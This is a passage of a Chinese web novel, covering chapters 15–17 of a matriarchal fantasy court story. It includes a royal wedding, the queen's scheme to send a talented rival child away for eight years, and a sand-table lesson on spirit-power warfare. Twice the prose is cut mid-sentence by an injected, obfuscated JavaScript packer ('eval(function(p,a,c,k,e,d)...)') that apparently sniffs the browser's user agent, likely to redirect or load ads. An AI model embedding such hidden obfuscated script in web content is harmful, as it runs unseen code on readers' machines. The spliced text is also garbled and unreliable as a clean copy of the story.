她朝着他的方向,小心翼翼地、尽量不惊动中间熟睡的女儿,挪了挪身体。然后,用气音,低声呢喃,如同情人间的密语:“昭彦......恒儿睡熟了......我们......挪到那边去,好不好?” 昭彦似乎并未睡着,或者说,在她在身边的时候,他总是保持着一丝警醒。听到她的话,他原本平稳的呼吸微微一顿,随即,黑暗中,他的眼睛亮了起来,如同被点燃的星辰。 他同样用极低的声音回应,带着一丝隐忍的激动:“......听王上的。” 接下来,是一场默契十足又带着点偷偷摸摸意味的“乾坤大挪移”。昭彦极其轻柔地起身,几乎没有发出任何声响,小心翼翼地抱起熟睡的魏恒,将她连同她怀里的布老虎一起,轻轻地挪到了床榻最中间的位置,又仔细地为她掖好了锦被。 而魏勉,则早已悄无声息地挪到了床榻最靠里的一侧,掀开了另一床备用的、轻薄的锦被,钻了进去,然后对着同样躺下、来到她身边的昭彦,无声地招了招手。 月光下,她的眼神温柔如水,带着一种卸下了所有身份重负后的、纯粹的邀请。 时间仿佛在这一刻失去了刻度。近在咫尺的女儿均匀的呼吸声,像是一道温柔的背景音,也像是一道无形的界限,提醒着他们此刻需要共同守护的这份宁静。 目光里无声的潮汐,在两人之间缓缓起落、推拉。 所有的渴望,都被约束在这份无声的、温柔的对视之中,化作了眉梢眼角的颤动,化作了无意识间溢出又被迅速咽下的,一声若有若无的轻叹。 许久。 她动了动手指,与他汗湿的手掌十指相扣,声音带着一丝沙哑和满足:“昭彦......今日我好像......真的只是你的爱人了。不是什么......王上。” 昭彦收紧手臂,将她更紧地拥入怀里,在她的额头上印下一个无比珍重的吻,声音低沉而温柔,带着前所未有的肯定:“王上......您在我心里,从来......都先是我的妻主。” 他感觉到,横亘在两人之间那道冰冷的、无形的墙,似乎真的在这份小心翼翼、却又无比真诚的亲密中,悄然融化、变薄了许多。 过了一会儿,两人才极其小心地、如同做贼一般,悄无声息地挪回到了床榻的中间,躺在熟睡的魏恒两侧。小丫头依旧睡得香甜,怀里抱着布老虎,嘴角挂着满足的笑,对父母方才那番无声交流一无所知。 魏勉与昭彦看着女儿的睡颜,在昏暗的光线下相视一笑。黑暗中,他们再次伸出手,越过女儿小小的身体,紧紧地握在了一起。 这一次,掌心相贴,暖意相融,再无间隙。 15. 亲王纳夫,太子初睹结连理 今日的皇宫,与往日不同,处处张灯结彩,宫人们的脚步都带着几分喜气与匆忙。魏恒穿着一身特制小袍,正被爹爹昭彦抱在怀里,好奇地打量着玉麟殿内这番盛大的景象。 玉麟殿,这座平日里用于重要宴饮和接待外使的宏伟宫殿,今日更是装点得焕然一新。巨大的鎏金宫灯高悬,映照着地上铺着的、绣着百鸟朝凤图案的华美地毯。殿内宾客云集,衣香鬓影,皆是宵朝有头有脸的世家族母、朝中重臣,以及一些看起来格外英武俊朗的男子。 魏恒的小脑袋瓜还不太明白发生了什么,只知道今天是个大日子,因为她的亲姨姨,王上魏勉唯一的妹妹——羲亲王魏尚,今日要纳夫了。而她要纳的,便是新晋崛起的军功世家霍家,那位据说文武双全、容貌出众的小儿子——霍平澜。 典礼尚未正式开始,气氛已然热烈。 魏恒看到,以兵霍家主母和霍平澜的母亲——兵部尚书霍靖戎为首的霍家族人,正恭敬地将一箱箱用红绸覆盖的礼品,呈现在大殿中央的礼台上。那些礼品在宫灯的照耀下,隐隐透出不凡的光彩。 “爹爹,”魏恒搂着昭彦的脖子,小声问道,声音里充满了孩童的好奇,“那些霍家人,为什么要送姨姨这么多亮晶晶的东西呀?是姨姨过生辰吗?” 昭彦看着女儿那天真烂漫的小脸,眼中满是宠溺,他调整了一下抱姿,让她看得更清楚些,柔声解释道:“恒儿,今日是你魏尚姨姨大喜的日子,她要纳霍家的平澜公子做她的首夫。霍家送来的这些,并非寻常贺礼,而是他们家族为平澜公子向你尚姨姨、也是向我们王室表达的敬意和诚意。” 他指了指其中一个半开的箱子,里面似乎是某种极其稀有的、闪烁着金属光泽的矿石:“你看,那是霍家掌控的矿脉中出产的最上等星纹铁,是锻造神兵利器的绝佳材料,代表着霍家愿意为王室贡献他们的财富与资源。” 他又指向另一边,几个由力者壮汉抬着的、用红布覆盖的巨大物件,隐约能看出是某种兵器或甲胄的轮廓:“那些,可能是平澜公子自己,或是霍家最顶尖的工匠,为他精心打造的、足以证明他武勇与技艺的得意之作。这代表着他本人具备辅佐你姨姨、保家卫国的能力。” “还有一些,可能是霍家传承的某些特殊技艺图谱、或是对王室表达绝对忠诚的誓书等等。”昭彦耐心地解释着,“这些献礼,是在告诉你姨姨和王上,平澜公子是一个多么优秀、多么值得选择的男子,霍家又是多么有诚意、有实力与王室共结连理。” “在民间,若男子擅长武艺,可能会献上自己猎获的最珍贵猛兽的皮毛或兽骨;若擅长工匠技艺,可能会献上自己精心制作的最得意作品。对于出身平凡但被灵主看中的力者,他们的献礼可能就是一份最真挚的、以家族名誉起誓的效忠书,来证明这位男子值得被选中,也能为女方及其家族带来助益或荣耀。” 就在这时,一直端坐于主位之上,看着这一切的魏勉,也侧过头来,对女儿补充道,她的声音带着君主的威严,也带着对继承人的教导:“恒儿,你要记住,在宵朝,婚姻不仅仅是两个人的事,更是两个家族、甚至两股势力的结合与承诺。霍家的这份献礼,既是他们家族实力与忠诚的展示,也是对这场联姻价值的肯定。这其中的分量,你要慢慢学着去看懂。” 魏恒似懂非懂地点了点头,大眼睛依旧好奇地盯着那些献礼,心中想着:“以后会不会......也有人送恒儿一大堆亮晶晶的礼物呀?” 献礼仪式过后,便是更重要的环节。 只见羲亲王今日穿着一身比魏勉身上那件赤金常服略显素雅、却依旧威仪棣棣的深红色、绣着凤凰展翅图案的吉服,从偏殿缓缓走出。她神情庄重,眉宇间虽透着一丝忐忑,却也难掩身为皇室的骄傲与自信。 她在魏勉的示意下,走到礼台前。内侍女官们则捧着数个托盘上前,上面摆放着代表魏尚公主以及皇室对霍平澜的赐予。 魏恒又好奇了:“母皇,姨姨为什么要给那个霍叔叔东西呀?” 魏勉看着女儿,眼中闪过一丝笑意,语气却依旧郑重:“这并非简单的回礼,恒儿。这是你姨姨,作为即将主理家事、开枝散叶的一家之主,对她未来首夫身份的正式认可,也是对他未来生活与责任的明确保障。” 她指着其中一个托盘上,一枚用上等暖玉雕琢而成、刻着“尚”字私印的玉佩,以及一份用金线卷轴书写的、盖有王室印玺的任命书:“看到了吗?这意味着,从今日起,他不再仅仅是霍家的儿子,更是你尚姨姨名正言顺的伴侣,是公主府邸中地位仅次于你姨姨的男主人。” “还有那些,”魏勉又指向其他托盘上的华美衣物、金银器皿、以及一些田庄地契和商铺凭证,“是你姨姨为他准备的、符合他首夫身份的衣食用度,以及可以由他打理或支配的一部分产业。这代表着,你姨姨愿意与他共享荣华,也信任他有能力协助自己管理好这一切。” “最重要的是,”魏勉看着霍平澜恭敬地从魏尚手中接过那些赐予,并郑重行礼的样子,声音低沉而意味深长,这份赐予,也代表着你姨姨将自己的信任、情感、以及未来的家族命运,都与这个男子紧密地联系在了一起。他将成为她最亲密的伴侣,最得力的助手,与她一同承担起属于他们的小家,以及未来可能属于他们这一支血脉的荣耀与责任。” 昭彦在一旁也适时地补充道,语气更加温和:“恒儿,你看,你尚姨姨在赐予他身份和财富的同时,也赐予了他守护她、辅佐她、与她同甘共苦的责任。而平澜公子,也必须用他一生的忠诚和努力,去回报这份信任与托付。” 最为神圣庄严的环节,在玉麟殿后方的一处露天祭坛举行。 祭坛中央,矗立着一块未经雕琢的、充满了岁月痕迹的巨大青石,据说这便是象征着大地之母最原始形态的圣物。祭坛四周,点燃着九十九根巨大的牛油巨烛,数名身着素白祭服、神情肃穆的祭司分列两侧。 魏恒被爹爹抱着,远远地看着姨姨魏尚和那位霍叔叔,在祭司的引导下,并肩跪在了青石之前。 “爹爹,他们为什么要拜那个大石头呀?”魏恒小声问,她觉得那石头还没宫里假山好看。 “嘘,恒儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魏勉看着那对新人,眼中也难得地流露出一丝欣慰与祝福,柔声对女儿解释道:“那便是灵犀合卺。那酒中,不仅有百花之精,更有你姨姨注入的一丝本源灵力。平澜饮下,便象征着他们灵与肉的初步交融,也代表着你姨姨对他毫无保留的接纳与信任。从今往后,他的荣辱、他的气运,都将与你姨姨的灵力,产生微妙而深刻的联系。” 她顿了顿,目光深远:“这,也是一种约束,一种提醒。提醒他,他的生命,已与他的妻主,紧密相连,不可背弃。” 仪式最后,便是家族的认可与盛大的宴飨。 魏勉作为王上,也作为长姐,亲自为魏尚和霍平澜赐福,并赏赐了丰厚的礼物。兵部尚书霍靖戎则代表霍家,向王室表达了最诚挚的感谢与永世效忠的决心。 随后,盛大的婚宴在玉麟殿内正式开始。丝竹管弦之声再次响起,宫廷乐师们演奏起喜庆的乐章,身姿曼妙的力者男子们伴着音乐翩翩起舞。 佳肴如流水般呈上,美酒散发着醉人的芬芳。宾主尽欢,气氛热烈。 四岁的魏恒,早已在爹爹的怀里,被这热闹的场面和香甜的点心吸引,暂时忘记了那些复杂的礼节和深奥的含义。她只知道,今天姨姨很高兴,母皇和爹爹也很高兴,宫里到处都是好吃的,还有好看的跳舞...... 她打了个小小的哈欠,依偎在昭彦温暖的怀中,渐渐进入了梦乡。 那些关于责任、承诺、家族、以及女男之间独特权力与情感关系的认知,第一次如同细雨般,悄然滋润进她尚且稚嫩的心田。 16. 君心良苦,璞玉远送断云山 与昭彦在那夜达成脆弱的平衡之后,魏勉调整了后宫的侍寝安排,也给了昭彦和孩子们更多的陪伴时光。 然而,那份属于君王的警惕与算计,却从未有片刻松懈。她的目光,开始有意无意地,更多地落在了那个在灵力角斗中一鸣惊人、险些让太子魏恒都难堪的小女孩——裴景珑身上。 时间又过去了近一年,当初那个五岁便能与太子分庭抗礼的裴氏之子,如今即将迎来她的六岁生辰。而六岁,对于宵朝那些拥有顶尖灵力天赋的幼童而言,是一个特殊的年龄。它意味着,达到了进入那所最负盛名、也对心性磨砺要求最高的灵力学院的最低门槛。 那便是远离京都繁华、坐落于北境险峻断云山脉深处,于万仞峭壁之上开凿而成的北辰钟灵书院。 北辰钟灵书院,与其说是一所坐落在尘世的学院,不如说更像一处遗世独立的清修之所。它地势险要,云雾缭绕,上下山道崎岖难行,与繁华人间远远隔绝。书院之内,依山而建,石室简朴,生活条件清苦,没有任何不必要的奢华,旨在让入院弟子摒弃俗念,远离红尘诱惑,心无旁骛,潜心于灵力的感悟与修行。 最重要的是,这里汇聚了宵朝最顶尖的几位隐世灵力宗师,包括那位曾与王上魏勉、裴景懿、段蔚之三人齐名、后来因故隐退的四大统率之一——莫万方。 书院的教导方式极其严苛,入院的弟子需经历长达八年的、近乎与世隔绝的艰苦修行,于险峻山川间感悟天地灵气,于严苛戒律中锤炼心志与灵力掌控,方能真正窥得灵力大道,学成下山。 因此,能进入北辰钟灵书院,是无数灵主及其家族梦寐以求的荣耀与机遇,意味着将得到最顶尖的指导和最纯粹的灵力修行环境。但那份地理上的偏远隔绝、那份物质上的清苦寂寞、那长达八年的骨肉分离与严苛磨砺,也让无数爱子心切的母亲们在做出决定时,难免犹豫,于心不忍。 魏勉坐在御书房内,指尖轻轻敲击着一份关于各大学院秋季招录名额的密报,嘴角勾起一抹深思的弧度。 裴景珑的天赋毋庸置疑,加以时日,必成大器。若将她留在京都,留在其母族势力的羽翼之下,耳濡目染宫廷权术,未来难保不会成为恒儿最大的威胁。裴家手握重兵,裴景懿更是宵朝地位最为崇高的大统率之一,这份力量太过庞大,必须加以制衡。 送她去钟灵书院,一箭数雕。 一来,远离政治中心八年,足以让很多事情尘埃落定,也足以磨平她过早显露的锋芒和可能滋生的野心。二来,钟灵书院宗师云集,更有莫万方坐镇,确是磨练天赋的绝佳之地,这个理由光明正大,无人可以指摘。三来,将裴景珑送去如此艰苦的地方,在外人看来,反而是对她天赋的极致看重与磨砺,是对裴家皇恩浩荡的体现。 至于那八年的苦楚......若她真有那个命数,能从钟灵书院学成归来,届时宵朝大局已定,孤再给她一份荣耀前程便是。若她承受不住......那也只能怪她自己福薄命浅了。 打定主意,魏勉便开始不动声色地布局。她先是在一次与兵部尚书霍靖戎讨论军务时,无意中提及北辰钟灵书院今年似乎有几个额外的举荐名额,并对莫万方宗师的教导表示了高度赞赏。随后,又在一次宴请权贵的宴会上,偶然感慨如今京都虽好,但太过浮华,反而不利于孩子们静心修炼,不若北境苦寒之地更能磨砺心性。 这些话语如同投入水中的石子,悄然荡开涟漪。 很快,关于王上有意从京中权贵家族挑选一两位天赋异禀的女童,破格举荐入北辰钟灵书院深造的消息,便在小范围内流传开来。 消息自然也传到了裴景然的耳中。 他刚结束了一场艰苦的军务会议,回到自己的侍君殿上。听到心腹低声禀报这个传闻,尤其是提及王上似乎对自家小妹裴景珑的天赋颇为赞赏,可能有此意向时,裴景然的心情瞬间变得无比复杂。 一方面,是巨大的惊喜与骄傲。北辰钟灵书院!莫万方宗师!那可是所有灵主都向往的最高学府和传奇人物!珑儿若能得此机缘,接受最顶尖的教导,将来成就必定远超留在京都,这是天大的荣耀! 但另一方面,强烈的不舍与担忧也随之而来。珑儿才六岁,就要被送到那连成年灵主都难以忍受的苦修之地,一去就是八年!八年见不到家人,八年都要在严苛的训练中度过......她那么小的年纪,能受得了吗?更何况,远离了京都这个政治中心,远离了王上的视线,八年后回来,一切都已物是人非,她还能有机会积累足够的名望和人脉,为裴家争取更多的话语权吗? 这会不会......反而耽误了她? 王上此举......究竟是真心爱才,还是有意将珑儿这个潜在的威胁,远远地支开? 这个念头在他心底一闪而过,但很快被他强行压下。 可无论如何,事关妹妹的前途与安危,他必须亲自去向王上问个明白。 次日,裴景然求见魏勉,被引入了御书房。 御书房内,檀香袅袅。魏勉并未如往常般端坐于龙案之后,而是站在一幅巨大的疆域图前,只着一件绣着暗金龙纹的玄黑常服,身姿挺拔,正凝视着北境那片区域。 “臣裴景然,参见王上。”他单膝跪地,动作干净利落,一如他在战场上的风格。 魏勉没有立刻让他起身。她缓缓转过身,并未说话,只是用那双深不见底的双眼,带着一种近乎于审视猎物般的目光打量着他。 从他那因军旅生涯而显得格外挺拔的肩颈,到他紧握着拳、因紧张而微微绷紧的手臂线条,最后,落在他那张依旧带着青涩却添了几分悍勇之气的英俊脸庞上。 裴景然被她看得浑身不自在,却又不敢抬头。他能感觉到王上那如同实质般的目光,带着一种独属于她的、充满了侵略性与占有欲的考量,让他心中那份属于臣子和侍君的敬畏,不受控制地掺杂进了一丝属于雄性被更强者盯上后的战栗。 “起来吧。” 许久,魏勉才用一种慵懒的、带着点玩味的语气开口。她没有回到案后,反而踱步上前,走到他面前。 “裴侍君今日前来,不是因为想孤了......而是为你那小妹的事吧?” 裴景然的脸“腾”地一下就红了,从脸颊一直烧到耳根。他猛地抬头,急切地回道:“我......!臣......臣当然......想您。”最后两个字如同从喉咙里挤出来一般,既带着怕这轻佻言语冒犯王上的忐忑,又带着对心中那终日思念的,最为直白的宣泄。 魏勉轻笑一声,绕到他身后,双手极其自然地搭在了他宽阔的肩膀上,隔着衣料,都能感觉到他肌肉瞬间的僵硬。她将下巴轻轻靠在他肩头,温热的气息拂过他敏感的耳廓,声音如同情人间的低语,却字字带着不容置疑的力道: “孤瞧着,你那小妹,跟你倒是一个模子刻出来的。天赋卓绝,性子也倔。小小年纪,便已有了雷霆之威,像一头还没学会收敛爪牙的小狼崽子。” 裴景然的身体绷得更紧了。他知道王上是在夸奖妹妹,可这比喻,这亲昵的姿态,分明也是在说他。 “孤很喜欢。”魏勉的声音带着一丝满意的感叹,仿佛在欣赏一件属于自己的、最得意的战利品。“但璞玉,若不经雕琢,终究只是一块顽石。留在京都这等温柔富贵乡,只会消磨了她的锐气。你说,是不是?” 这才是正题。裴景然的心瞬间提了起来,他强迫自己冷静下来,沉声道:“王上圣明。臣听闻,王上有意举荐小妹入北辰钟灵书院?” “不错。”魏勉直起身,重新走到他面前,双手抱臂,好整以暇地看着他,“孤自上次灵力角斗之后,便一直留意着珑儿。此子天赋之高,灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她轻轻拍了拍他的肩膀,语气带着一种推心置腹的亲近:“孤知道,这决定对你,对裴家,都不容易。但孤相信,为了珑儿的长远未来,为了宵朝的大业,你们会做出最明智的选择。这份恩典,这份期许,是孤是对裴家,也是对珑儿本人的,一份特殊的看重。” 一番话,有理有据,有情有义。既肯定了裴景珑的天赋,又将苦修描绘成必要的磨砺和未来的坦途,更将此举上升到为国育才、对太子未来辅佐的高度,还点明了这是王上特殊的恩典和期许。 裴景然原本心中的种种疑虑、担忧、不舍被一一化解并击碎,他甚至开始为自己之前的那些揣测感到羞愧。 是啊,王上说得对!留在京都,珑儿或许能凭借家世获得一时的风光,但论及长远发展,怎比得上在钟灵书院得到宗师指点、打下坚实基础?王上如此看重珑儿,甚至已经为她规划好了未来......这等隆恩,这等远见,他怎能不感激涕零? 想到此处,裴景然再无犹豫,立刻后退一步,对着魏勉深深一揖到底,声音激动而诚恳: “王上深谋远虑,为小妹计之深远,臣,万分感激!王上隆恩厚爱,臣与裴家上下,必定铭记于心!臣......代珑儿,叩谢王上天恩!” 魏勉看着他眼中那份真挚的感激与信服,心中平静无波,脸上却露出了欣慰而温和的笑容。她亲自上前,双手扶起他,动作却带着不容拒绝的亲昵。 “好,好。你能理解孤的苦心,孤便放心了。” 她的指尖,在他结实的手臂上轻轻滑过,带着一丝安抚,也带着一丝奖励般的意味。 “回去与你母亲好生商议,尽快准备吧。孤会亲自修书一封给莫宗师,让她对珑儿多加照拂。” “臣遵旨!”裴景然再次行礼,眼中已是满满的敬服与感激、信服与仰望。 待裴景然恭敬地退下后,御书房内恢复了寂静。 魏勉脸上的笑容渐渐隐去,她走到窗边,望着远方北方天际的方向,眼神变得深邃而冰冷。 八年......足够了。 足够恒儿彻底成长起来,也足够让很多人和事,都尘埃落定了。 17. 沙盘演绎,稚龙初学灵力场 时光悄然滑过。在魏勉巧妙的安排下,裴景珑即将远赴北境的北辰钟灵书院,开始她长达八年的清修之路。而在送走这个潜在的对手的同时,魏勉也将更多的精力,投入到了对太子魏恒的培养之上。 恒儿即将迎来她的五岁生辰,体内的灵力日益充沛,如同即将冲破堤坝的洪流,需要正确的引导与掌控。更重要的是,她需要开始理解,这份与生俱来的强大力量,未来将如何在战场上和在国政中发挥作用。 这一日午后,御书房的偏殿内,暖炉燃得正旺,驱散了初冬的寒意。 殿中央,摆放着一座极其精致巨大的沙盘。 这沙盘并非凡物,其底座由温养灵力的暖玉构成,盘面则以特殊材质混合秘法炼制,完美地模拟着宵朝北方边境那段最为险峻、也与北戎接壤最为频繁的山川地貌。河流蜿蜒处波光粼粼,山峦起伏间隐有土灵气息流转,其上摆放着数百个豆粒大小、却栩栩如生的木制兵俑,分为红蓝两色,队列整齐。 整个沙盘四周,还刻画着复杂的灵力符文,显然能与使用者的灵力产生共鸣,进行动态推演。 魏勉今日未着繁复朝服,只穿了一件便于活动的、领口袖口绣着金色云纹的深紫劲装,长发用一根简单的凤钗束起,少了些许君临天下的威压,多了几分为人师表的专注与柔和。她端坐于沙盘一侧的主位。 魏恒则穿着同样色系的、略小一号的紫色小袍,一脸严肃认真地端坐在母亲身旁的小锦凳上。她的小脸英气逼人,一双大眼睛紧紧盯着眼前神奇的沙盘,充满了好奇,也带着对接下来课程的期待。她知道,母皇今日要教她的,是关乎战争与灵力的、最核心的秘密。 魏勉伸出手,白皙修长的指尖轻轻拂过沙盘表面。随着她指尖的移动,沙盘上的景象仿佛活了过来:微风拂过,兵俑身上的旗帜微微颤动;河流似乎真的在缓缓流淌;远处的山峦也散发出更清晰的、厚重的土灵气息。 “恒儿,”魏勉的声音温柔而清晰,“你即将五岁,灵力根基已初步稳固,是时候开始了解,我们宵朝的立国之本,这战场之上的灵力运用与排兵布阵之道了。” 她看着女儿瞬间亮起来的、充满求知欲的眼眸,满意地点了点头,开始了这场特殊的教学。 第一课:统率——运筹帷幄的执棋者。 “你看,”魏勉指着沙盘,“一场战争,如同下一盘棋。而决定棋局走向的,往往不是某一个棋子的勇猛,而是执棋者的智慧与布局。” 她的指尖轻轻一点,代表己方的一枚特殊标记的、象征最高指挥官的蓝色兵俑亮起柔和的金色光芒。“在宵朝的军队体系中,最高长官,我们称之为‘统率’。” “统率,必须由拥有至高灵力、且深谙战略的女子担任。比如孤,比如北境的裴景懿,东海的段蔚之。”魏勉解释道,“统率无需亲临一线搏杀,她的战场,是整个战局。” 说话间,她双眸微阖,磅礴而精纯的灵力场如同无形的潮水般瞬间扩散开来,笼罩了整个沙盘!沙盘上的符文随之亮起,魏恒甚至能感觉到空气中元素的细微变化。 “统率的核心,在于感知与布局。”魏勉的声音带着一种掌控一切的从容,“借助强大的灵力场,孤能清晰地感知到这片战场的每一处细节——地形地貌的灵力属性、天气的细微变化、风向水流,甚至能模糊感应到敌方红色兵俑的灵力强弱分布与大致意图。” 随着她的心念转动,沙盘上模拟的天气开始变化,时而晴空万里,时而阴云密布,甚至飘起了细密的雨丝。“知己知彼,更要知天时地利。” “然后,便是布局。”魏勉指尖再次划过沙盘,这一次,蓝色的兵俑方阵开始移动。一部分步兵俑身上泛起淡淡的黄色光晕,沿着山麓稳步推进,构筑防线;另一部分骑兵俑则周身青光流转,速度骤增,沿着平坦的河谷快速迂回,直插红方侧翼。 “统率需要根据战场实况,判断敌我优劣,然后,将自身的灵力,精准地注入给麾下的将军与士兵。”她解释道,“你看,方才孤为步兵注入了土灵之力,增强他们的防御和山地适应性;为骑兵注入了风灵之力,提升他们的速度和机动性。” “灵力的注入,并非越多越好,也非一成不变。”魏勉看着魏恒,“需要根据战局变化,精准调配。注入过多,自身灵力消耗过巨,难以为继;注入不足,则效果甚微,贻误战机。更要考虑环境影响,比如这雨天,”她指着沙盘上飘落的雨丝,“火灵之力便会大打折扣,水灵、雷灵则可能威力倍增。统率必须时刻调整,趋利避害。” 她看向女儿,眼中带着鼓励:“恒儿,你的灵力天赋极高,试着感知一下这沙盘上的山脉,然后,试着将你的土灵之力,注入到山脚下那队蓝色步兵俑身上。” 魏恒深吸一口气,小脸紧绷,学着母亲的样子闭上眼睛,伸出小手,小心翼翼地将自己尚显稚嫩的灵力探出。片刻后,那队蓝色步兵俑身上,果然也泛起了一层微弱却真实的土黄色光晕,只是光芒有些黯淡,也不太稳定。 “很好!”魏勉眼中闪过一丝惊喜与赞赏,“第一次尝试便能做到如此地步,不愧是我的女儿!你的灵力感知已颇具雏形,假以时日,勤加练习,将来必能掌控全局,远胜母皇!” 魏恒得到夸奖,小脸上立刻绽放出灿烂的笑容,眼中充满了自信。 第二课:将军——摧城拔寨的利刃。 “统率运筹帷幄,但真正决定战场一线胜负、执行关键突破或防御任务的,是‘将军’。” 魏勉灵力微动,沙盘之上,两军阵前,各有一个代表将军的、身形更为高挑、细节更精致的女性兵俑缓缓升起。蓝色女俑周身火焰升腾,手持一柄缩小版的赤色长戟;红色女俑则寒气四溢,握着一柄冰晶构成的弯刀。 “将军,通常由军中灵力最为优秀的女子担任,她们位阶在统率之下,是战场上最直接的灵力对抗者。”魏勉肃声道,“她们以自身强大的灵力为主,辅以兵器或阵法,与敌方将领正面交锋。” 随着她话音落下,代表蓝方将军的火灵女俑猛然前冲,手中长戟一挥,一道炽热的火焰洪流便咆哮着扑向对手!而红方冰灵女俑则不闪不避,弯刀一横,身前瞬间凝结出一面厚实的冰墙,堪堪挡住火焰,冰火碰撞,发出滋滋的声响,白汽弥漫。 “将军的战斗,便是如此直接而惨烈。”魏勉沉声道,“灵力的爆发、技巧的运用、以及对自身灵力的精准控制,都至关重要。如火焚敌阵,如冰封通路,或以灵力护盾抵御致命攻击......这都需要日积月累的修炼与实战。” 她看向魏恒,眼神变得无比锐利:“恒儿,你要记住,很多时候,一场战争的转折点,就在于双方将军的对决。若一方将军实力远超对方,能够迅速击溃或斩杀敌将,那么这场仗,便已胜了大半,纵使统率有通天之能,有时也难挽败局。你的灵力天赋,将来不仅要成为优秀的统率,更要拥有足以碾压一切对手的、属于将军的绝对力量!” 魏恒感受着母亲话语中的决心和期盼,用力地点了点头,小拳头握得紧紧的。 第三课:副将与士兵——坚实的臂膀与基石 “当然,一场庞大的战争,仅靠统率和将军是不够的。”魏勉的目光转向沙盘上那些普通的兵俑,“她们还需要能够执行命令、冲锋陷阵的臂膀与基石。” 她指着那些站在将军身后、身形更为高大健壮的男性兵俑:“这便是‘副将’。副将,大多由军中选拔出的、最为优秀的男子担任。他们没有灵力,依靠的是顶级的体能、过人的智慧和丰富的战斗经验。” “他们的职责,是辅佐将军,具体指挥麾下的士兵,将统率和将军的战略意图,转化为实际的战术行动。他们需要精通地形分析、兵种搭配、临场应变,更需要无畏的勇气和强大的领导力。” 魏勉的目光变得柔和了些许,带着一丝怀念:“就像你爹爹。当年母皇还只是望北城领主,领兵在外时,他便是我的副将。他智勇双全,总能在我专注于灵力对抗时,替我稳住阵脚,指挥士兵,无数次于险境中助我破敌。” 魏恒听到“爹爹”,眼睛一亮,小脸上露出孺慕的神色。 魏勉微微一笑,继续道:“而构成大军主体的,便是这些普通的‘士兵’。”她指着那些密密麻麻的男性兵俑,“他们全部由力者男子组成,使用长枪、刀盾等兵器,负责最直接的冲锋、防御、结阵等任务。” “力者士兵本身的力量或许有限,但他们是灵力的最佳承载者。”魏勉灵力再次注入,一部分蓝色士兵身上泛起赤红的火光,向前冲锋;另一部分则泛起厚重的土黄光芒,结成盾阵,稳如泰山。 “统率和将军,可以将特定的灵力,如火灵增力、土灵强韧、风灵加速等,加持在他们身上,让他们成为‘火灵兵’、‘土灵兵’等等,从而在战场上发挥出远超自身的力量。士兵的体能、纪律以及对命令的执行力,至关重要。他们是战争这部机器上,最基础、也最不可或缺的零件。” 她看向魏恒,总结道:“所以你看,恒儿,一场战争的胜利,需要统率的智慧布局,需要将军的强大战力,也需要副将的得力指挥,更需要士兵们的悍不畏死与令行禁止。灵力与体力,智慧与勇气,缺一不可。” 第四课:天时地利与战略全局。 “最后,也是最重要的一点,”魏勉挥手,沙盘上的天气再次变化,狂风大作,模拟出沙尘暴的景象,“便是要因地制宜,因时而变。” 沙盘上,原本适合骑兵冲锋的平原变得视野模糊,风灵之力狂暴无序,骑兵的机动性大受影响,而擅长在恶劣环境下作战的红方步兵,则趁机发起了反击。 “你看,同样的地形,不同的天气,战局便可能完全逆转。”魏勉沉声道,“风沙会阻碍视线和风灵运用,暴雨会削弱火灵、增强水灵,山川河流会影响土灵与水灵的效能......这些,都需要统率在第一时间感知,并迅速调整战略布局和灵力分配。” “一个优秀的统率,不仅要懂得如何运用自己的力量,更要懂得如何借用天时地利的力量,以及去规避它们带来的负面影响。” 她再次挥手,沙盘恢复平静。“恒儿,记住。战争,灵力是根,战略是魂。为将者,需勇猛精进;为率者,则需算无遗策,心怀全局。你身为太子,未来的宵朝之主,不仅要修自身灵力,更要学兵法,懂权谋,知人心,方能真正驾驭这万里江山,庇护我亿万臣民。” 魏勉看着若有所思的女儿,眼中充满了慈爱,也充满了期盼。 魏恒抬起头,眼中闪烁着前所未有的光芒,她用力握紧小拳头,声音虽然稚嫩,却充满了力量:“母皇!恒儿明白了!恒儿一定会努力学习灵力,学习战略!恒儿将来......要像您一样,不!要比您更厉害!” “好!”魏勉欣慰地笑了起来,伸手将女儿揽入怀中,轻轻拍了拍她的头。 这一场在沙盘上进行的特殊教学,如同在年幼的太子心中播下了一颗种子。这颗种子会伴随着血与火的洗礼,最终生根发芽,长成一棵足以支撑起整个王朝的参天大树。 傍晚时分,夕阳的余晖透过窗棂,为昭彦那略显简朴却整洁的寝殿镀上了一层温暖的金色。殿内燃着安神的熏香,驱散了初冬的寒意。 殿门“吱呀”一声被猛地推开,一个小小的紫色身影冲了进来。 正是刚结束了母皇“小灶”教学的魏恒。她的小脸蛋因为兴奋而红扑扑的,额角还带着未干的汗渍,一双明亮的大眼睛闪烁着亢奋的光芒,哪里还有半分疲惫之色。她像只快乐的小鸟,直扑向正坐在案几后处理军务文书的昭彦。 “爹爹!爹爹!”她一边跑一边嚷嚷,声音清脆响亮,充满了急于分享的雀跃,“恒儿今天跟母皇学了好多好东西!灵力!打仗!还有一个好大好神奇的沙盘!爹爹!恒儿要全部讲给你听!” 她扑到昭彦腿边,仰着小脸,手舞足蹈,小小的身体里仿佛蕴藏着无穷的能量。 昭彦被女儿这突如其来的热情撞了个满怀,手中的军报差点滑落。他眼中瞬间漾满了温柔的笑意,所有的公务、所有的烦忧,在女儿这灿烂的笑脸面前都显得微不足道了。 他放下笔,伸手将女儿一把抱起,稳稳地放在自己宽厚的膝盖上,用指腹轻轻擦去她额角的汗珠,声音是极致的宠溺与温和:“好,我们恒儿最厉害了。来,慢慢说,爹爹洗耳恭听呢。母皇都教了些什么呀?让爹爹也跟着学学。” 他的笑容温暖得如同殿内的炉火,眼中是毫不掩饰的骄傲与疼爱。他轻轻拍着女儿的后背,耐心地等待着她的“高谈阔论”。 魏恒坐在爹爹温暖的怀抱里,感受着那熟悉而安心的气息,立刻如同竹筒倒豆子般,将今天学到的东西,用她那稚嫩却又努力模仿着母亲严肃语气的口吻,一股脑地讲了出来: 